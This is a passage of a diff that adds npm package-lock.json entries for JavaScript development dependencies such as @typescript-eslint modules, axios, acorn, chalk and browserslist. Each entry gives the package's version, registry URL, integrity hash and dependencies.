"node_modules/@typescript-eslint/tsconfig-utils": {+ "version": "8.46.3",+ "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.46.3.tgz",+ "integrity": "sha512-GLupljMniHNIROP0zE7nCcybptolcH8QZfXOpCfhQDAdwJ/ZTlcaBOYebSOZotpti/3HrHSw7D3PZm75gYFsOA==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/typescript-eslint"+ },+ "peerDependencies": {+ "typescript": ">=4.8.4 <6.0.0"+ }+ },+ "node_modules/@typescript-eslint/type-utils": {+ "version": "8.46.3",+ "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.46.3.tgz",+ "integrity": "sha512-ZPCADbr+qfz3aiTTYNNkCbUt+cjNwI/5McyANNrFBpVxPt7GqpEYz5ZfdwuFyGUnJ9FdDXbGODUu6iRCI6XRXw==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@typescript-eslint/types": "8.46.3",+ "@typescript-eslint/typescript-estree": "8.46.3",+ "@typescript-eslint/utils": "8.46.3",+ "debug": "^4.3.4",+ "ts-api-utils": "^2.1.0"+ },+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/typescript-eslint"+ },+ "peerDependencies": {+ "eslint": "^8.57.0 || ^9.0.0",+ "typescript": ">=4.8.4 <6.0.0"+ }+ },+ "node_modules/@typescript-eslint/types": {+ "version": "8.46.3",+ "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.46.3.tgz",+ "integrity": "sha512-G7Ok9WN/ggW7e/tOf8TQYMaxgID3Iujn231hfi0Pc7ZheztIJVpO44ekY00b7akqc6nZcvregk0Jpah3kep6hA==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/typescript-eslint"+ }+ },+ "node_modules/@typescript-eslint/typescript-estree": {+ "version": "8.46.3",+ "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.46.3.tgz",+ "integrity": "sha512-f/NvtRjOm80BtNM5OQtlaBdM5BRFUv7gf381j9wygDNL+qOYSNOgtQ/DCndiYi80iIOv76QqaTmp4fa9hwI0OA==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@typescript-eslint/project-service": "8.46.3",+ "@typescript-eslint/tsconfig-utils": "8.46.3",+ "@typescript-eslint/types": "8.46.3",+ "@typescript-eslint/visitor-keys": "8.46.3",+ "debug": "^4.3.4",+ "fast-glob": "^3.3.2",+ "is-glob": "^4.0.3",+ "minimatch": "^9.0.4",+ "semver": "^7.6.0",+ "ts-api-utils": "^2.1.0"+ },+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/typescript-eslint"+ },+ "peerDependencies": {+ "typescript": ">=4.8.4 <6.0.0"+ }+ },+ "node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": {+ "version": "2.0.2",+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz",+ "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "balanced-match": "^1.0.0"+ }+ },+ "node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": {+ "version": "9.0.5",+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz",+ "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==",+ "dev": true,+ "license": "ISC",+ "dependencies": {+ "brace-expansion": "^2.0.1"+ },+ "engines": {+ "node": ">=16 || 14 >=14.17"+ },+ "funding": {+ "url": "https://github.com/sponsors/isaacs"+ }+ },+ "node_modules/@typescript-eslint/typescript-estree/node_modules/semver": {+ "version": "7.7.3",+ "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz",+ "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==",+ "dev": true,+ "license": "ISC",+ "bin": {+ "semver": "bin/semver.js"+ },+ "engines": {+ "node": ">=10"+ }+ },+ "node_modules/@typescript-eslint/utils": {+ "version": "8.46.3",+ "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.46.3.tgz",+ "integrity": "sha512-VXw7qmdkucEx9WkmR3ld/u6VhRyKeiF1uxWwCy/iuNfokjJ7VhsgLSOTjsol8BunSw190zABzpwdNsze2Kpo4g==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@eslint-community/eslint-utils": "^4.7.0",+ "@typescript-eslint/scope-manager": "8.46.3",+ "@typescript-eslint/types": "8.46.3",+ "@typescript-eslint/typescript-estree": "8.46.3"+ },+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/typescript-eslint"+ },+ "peerDependencies": {+ "eslint": "^8.57.0 || ^9.0.0",+ "typescript": ">=4.8.4 <6.0.0"+ }+ },+ "node_modules/@typescript-eslint/visitor-keys": {+ "version": "8.46.3",+ "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.46.3.tgz",+ "integrity": "sha512-uk574k8IU0rOF/AjniX8qbLSGURJVUCeM5e4MIMKBFFi8weeiLrG1fyQejyLXQpRZbU/1BuQasleV/RfHC3hHg==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@typescript-eslint/types": "8.46.3",+ "eslint-visitor-keys": "^4.2.1"+ },+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/typescript-eslint"+ }+ },+ "node_modules/@ungap/structured-clone": {+ "version": "1.3.0",+ "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.3.0.tgz",+ "integrity": "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g=="+ },+ "node_modules/@vitejs/plugin-react": {+ "version": "5.1.0",+ "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-5.1.0.tgz",+ "integrity": "sha512-4LuWrg7EKWgQaMJfnN+wcmbAW+VSsCmqGohftWjuct47bv8uE4n/nPpq4XjJPsxgq00GGG5J8dvBczp8uxScew==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@babel/core": "^7.28.4",+ "@babel/plugin-transform-react-jsx-self": "^7.27.1",+ "@babel/plugin-transform-react-jsx-source": "^7.27.1",+ "@rolldown/pluginutils": "1.0.0-beta.43",+ "@types/babel__core": "^7.20.5",+ "react-refresh": "^0.18.0"+ },+ "engines": {+ "node": "^20.19.0 || >=22.12.0"+ },+ "peerDependencies": {+ "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0"+ }+ },+ "node_modules/acorn": {+ "version": "8.15.0",+ "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz",+ "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==",+ "dev": true,+ "license": "MIT",+ "bin": {+ "acorn": "bin/acorn"+ },+ "engines": {+ "node": ">=0.4.0"+ }+ },+ "node_modules/acorn-jsx": {+ "version": "5.3.2",+ "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz",+ "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==",+ "dev": true,+ "license": "MIT",+ "peerDependencies": {+ "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0"+ }+ },+ "node_modules/ajv": {+ "version": "6.12.6",+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",+ "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "fast-deep-equal": "^3.1.1",+ "fast-json-stable-stringify": "^2.0.0",+ "json-schema-traverse": "^0.4.1",+ "uri-js": "^4.2.2"+ },+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/epoberezkin"+ }+ },+ "node_modules/ansi-styles": {+ "version": "4.3.0",+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "color-convert": "^2.0.1"+ },+ "engines": {+ "node": ">=8"+ },+ "funding": {+ "url": "https://github.com/chalk/ansi-styles?sponsor=1"+ }+ },+ "node_modules/argparse": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",+ "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==",+ "dev": true,+ "license": "Python-2.0"+ },+ "node_modules/aria-hidden": {+ "version": "1.2.6",+ "resolved": "https://registry.npmjs.org/aria-hidden/-/aria-hidden-1.2.6.tgz",+ "integrity": "sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA==",+ "dependencies": {+ "tslib": "^2.0.0"+ },+ "engines": {+ "node": ">=10"+ }+ },+ "node_modules/aria-query": {+ "version": "5.3.2",+ "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.2.tgz",+ "integrity": "sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw==",+ "dev": true,+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/array-buffer-byte-length": {+ "version": "1.0.2",+ "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz",+ "integrity": "sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.3",+ "is-array-buffer": "^3.0.5"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/array-includes": {+ "version": "3.1.9",+ "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.9.tgz",+ "integrity": "sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.8",+ "call-bound": "^1.0.4",+ "define-properties": "^1.2.1",+ "es-abstract": "^1.24.0",+ "es-object-atoms": "^1.1.1",+ "get-intrinsic": "^1.3.0",+ "is-string": "^1.1.1",+ "math-intrinsics": "^1.1.0"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/array.prototype.findlast": {+ "version": "1.2.5",+ "resolved": "https://registry.npmjs.org/array.prototype.findlast/-/array.prototype.findlast-1.2.5.tgz",+ "integrity": "sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.7",+ "define-properties": "^1.2.1",+ "es-abstract": "^1.23.2",+ "es-errors": "^1.3.0",+ "es-object-atoms": "^1.0.0",+ "es-shim-unscopables": "^1.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/array.prototype.flat": {+ "version": "1.3.3",+ "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.3.tgz",+ "integrity": "sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.8",+ "define-properties": "^1.2.1",+ "es-abstract": "^1.23.5",+ "es-shim-unscopables": "^1.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/array.prototype.flatmap": {+ "version": "1.3.3",+ "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.3.tgz",+ "integrity": "sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.8",+ "define-properties": "^1.2.1",+ "es-abstract": "^1.23.5",+ "es-shim-unscopables": "^1.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/array.prototype.tosorted": {+ "version": "1.1.4",+ "resolved": "https://registry.npmjs.org/array.prototype.tosorted/-/array.prototype.tosorted-1.1.4.tgz",+ "integrity": "sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.7",+ "define-properties": "^1.2.1",+ "es-abstract": "^1.23.3",+ "es-errors": "^1.3.0",+ "es-shim-unscopables": "^1.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/arraybuffer.prototype.slice": {+ "version": "1.0.4",+ "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz",+ "integrity": "sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==",+ "dev": true,+ "dependencies": {+ "array-buffer-byte-length": "^1.0.1",+ "call-bind": "^1.0.8",+ "define-properties": "^1.2.1",+ "es-abstract": "^1.23.5",+ "es-errors": "^1.3.0",+ "get-intrinsic": "^1.2.6",+ "is-array-buffer": "^3.0.4"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/ast-types-flow": {+ "version": "0.0.8",+ "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.8.tgz",+ "integrity": "sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ==",+ "dev": true+ },+ "node_modules/async-function": {+ "version": "1.0.0",+ "resolved": "https://registry.npmjs.org/async-function/-/async-function-1.0.0.tgz",+ "integrity": "sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==",+ "dev": true,+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/asynckit": {+ "version": "0.4.0",+ "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",+ "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q=="+ },+ "node_modules/available-typed-arrays": {+ "version": "1.0.7",+ "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz",+ "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==",+ "dev": true,+ "dependencies": {+ "possible-typed-array-names": "^1.0.0"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/axe-core": {+ "version": "4.11.0",+ "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.11.0.tgz",+ "integrity": "sha512-ilYanEU8vxxBexpJd8cWM4ElSQq4QctCLKih0TSfjIfCQTeyH/6zVrmIJfLPrKTKJRbiG+cfnZbQIjAlJmF1jQ==",+ "dev": true,+ "engines": {+ "node": ">=4"+ }+ },+ "node_modules/axios": {+ "version": "1.13.2",+ "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.2.tgz",+ "integrity": "sha512-VPk9ebNqPcy5lRGuSlKx752IlDatOjT9paPlm8A7yOuW2Fbvp4X3JznJtT4f0GzGLLiWE9W8onz51SqLYwzGaA==",+ "dependencies": {+ "follow-redirects": "^1.15.6",+ "form-data": "^4.0.4",+ "proxy-from-env": "^1.1.0"+ }+ },+ "node_modules/axobject-query": {+ "version": "4.1.0",+ "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-4.1.0.tgz",+ "integrity": "sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==",+ "dev": true,+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/bail": {+ "version": "2.0.2",+ "resolved": "https://registry.npmjs.org/bail/-/bail-2.0.2.tgz",+ "integrity": "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==",+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/balanced-match": {+ "version": "1.0.2",+ "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",+ "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",+ "dev": true,+ "license": "MIT"+ },+ "node_modules/baseline-browser-mapping": {+ "version": "2.8.25",+ "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.8.25.tgz",+ "integrity": "sha512-2NovHVesVF5TXefsGX1yzx1xgr7+m9JQenvz6FQY3qd+YXkKkYiv+vTCc7OriP9mcDZpTC5mAOYN4ocd29+erA==",+ "dev": true,+ "license": "Apache-2.0",+ "bin": {+ "baseline-browser-mapping": "dist/cli.js"+ }+ },+ "node_modules/brace-expansion": {+ "version": "1.1.12",+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz",+ "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "balanced-match": "^1.0.0",+ "concat-map": "0.0.1"+ }+ },+ "node_modules/braces": {+ "version": "3.0.3",+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",+ "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "fill-range": "^7.1.1"+ },+ "engines": {+ "node": ">=8"+ }+ },+ "node_modules/browserslist": {+ "version": "4.27.0",+ "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.27.0.tgz",+ "integrity": "sha512-AXVQwdhot1eqLihwasPElhX2tAZiBjWdJ9i/Zcj2S6QYIjkx62OKSfnobkriB81C3l4w0rVy3Nt4jaTBltYEpw==",+ "dev": true,+ "funding": [+ {+ "type": "opencollective",+ "url": "https://opencollective.com/browserslist"+ },+ {+ "type": "tidelift",+ "url": "https://tidelift.com/funding/github/npm/browserslist"+ },+ {+ "type": "github",+ "url": "https://github.com/sponsors/ai"+ }+ ],+ "license": "MIT",+ "dependencies": {+ "baseline-browser-mapping": "^2.8.19",+ "caniuse-lite": "^1.0.30001751",+ "electron-to-chromium": "^1.5.238",+ "node-releases": "^2.0.26",+ "update-browserslist-db": "^1.1.4"+ },+ "bin": {+ "browserslist": "cli.js"+ },+ "engines": {+ "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7"+ }+ },+ "node_modules/call-bind": {+ "version": "1.0.8",+ "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz",+ "integrity": "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==",+ "dev": true,+ "dependencies": {+ "call-bind-apply-helpers": "^1.0.0",+ "es-define-property": "^1.0.0",+ "get-intrinsic": "^1.2.4",+ "set-function-length": "^1.2.2"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/call-bind-apply-helpers": {+ "version": "1.0.2",+ "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",+ "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==",+ "dependencies": {+ "es-errors": "^1.3.0",+ "function-bind": "^1.1.2"+ },+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/call-bound": {+ "version": "1.0.4",+ "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",+ "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==",+ "dev": true,+ "dependencies": {+ "call-bind-apply-helpers": "^1.0.2",+ "get-intrinsic": "^1.3.0"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/callsites": {+ "version": "3.1.0",+ "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",+ "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=6"+ }+ },+ "node_modules/caniuse-lite": {+ "version": "1.0.30001754",+ "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001754.tgz",+ "integrity": "sha512-x6OeBXueoAceOmotzx3PO4Zpt4rzpeIFsSr6AAePTZxSkXiYDUmpypEl7e2+8NCd9bD7bXjqyef8CJYPC1jfxg==",+ "dev": true,+ "funding": [+ {+ "type": "opencollective",+ "url": "https://opencollective.com/browserslist"+ },+ {+ "type": "tidelift",+ "url": "https://tidelift.com/funding/github/npm/caniuse-lite"+ },+ {+ "type": "github",+ "url": "https://github.com/sponsors/ai"+ }+ ],+ "license": "CC-BY-4.0"+ },+ "node_modules/ccount": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/ccount/-/ccount-2.0.1.tgz",+ "integrity": "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==",+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/chalk": {+ "version": "4.1.2",+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "ansi-styles": "^4.1.0",+ "supports-color": "^7.1.0"+ },+ "engines": {+ "node": ">=10"+ },+ "funding": {+ "url": "https://github.com/chalk/chalk?sponsor=1"+ }+ },+ "node_modules/character-entities": {+ "version": "2.0.2",+ "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-2.0.2.tgz",+ "integrity": "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==",+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/character-entities-html4": {+ "version": "2.1.0",+ "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-2.1.0.tgz",+ "integrity": "sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==",+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/character-entities-legacy": {+ "version": "3.0.0",+ "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-3.0.0.tgz",+ "integrity": "sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==",+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/character-reference-invalid": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-2.0.1.tgz",+ "integrity": "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==",+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/clsx": {+ "version": "2.1.1",+ "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz",+ "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==",+ "engines": {+ "node": ">=6"+ }+ },+ "node_modules/color-convert": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",+ "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "color-name": "~1.1.4"+ },+ "engines": {+ "node": ">=7.0.0"+ }+ },+ "node_modules/color-name": {+ "version": "1.1.4",+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",+ "dev": true,+ "license": "MIT"+ },+ "node_modules/combined-stream": {+ "version": "1.0.8",+ "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",+ "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",+ "dependencies": {+ "delayed-stream": "~1.0.0"+ },+ "engines": {+ "node": ">= 0.8"+ }+ },+ "node_modules/comma-separated-tokens": {+ "version": "2.0.3",+ "resolved": "https://registry.npmjs.org/comma-separated-tokens/-/comma-separated-tokens-2.0.3.tgz",+ "integrity": "sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==",+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/concat-map": {+ "version": "0.0.1",+ "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",+ "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==",+ "dev": true,+ "license": "MIT"+ },+ "node_modules/convert-source-map": {+ "version": "2.0.0",+ "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz",+ "integrity": 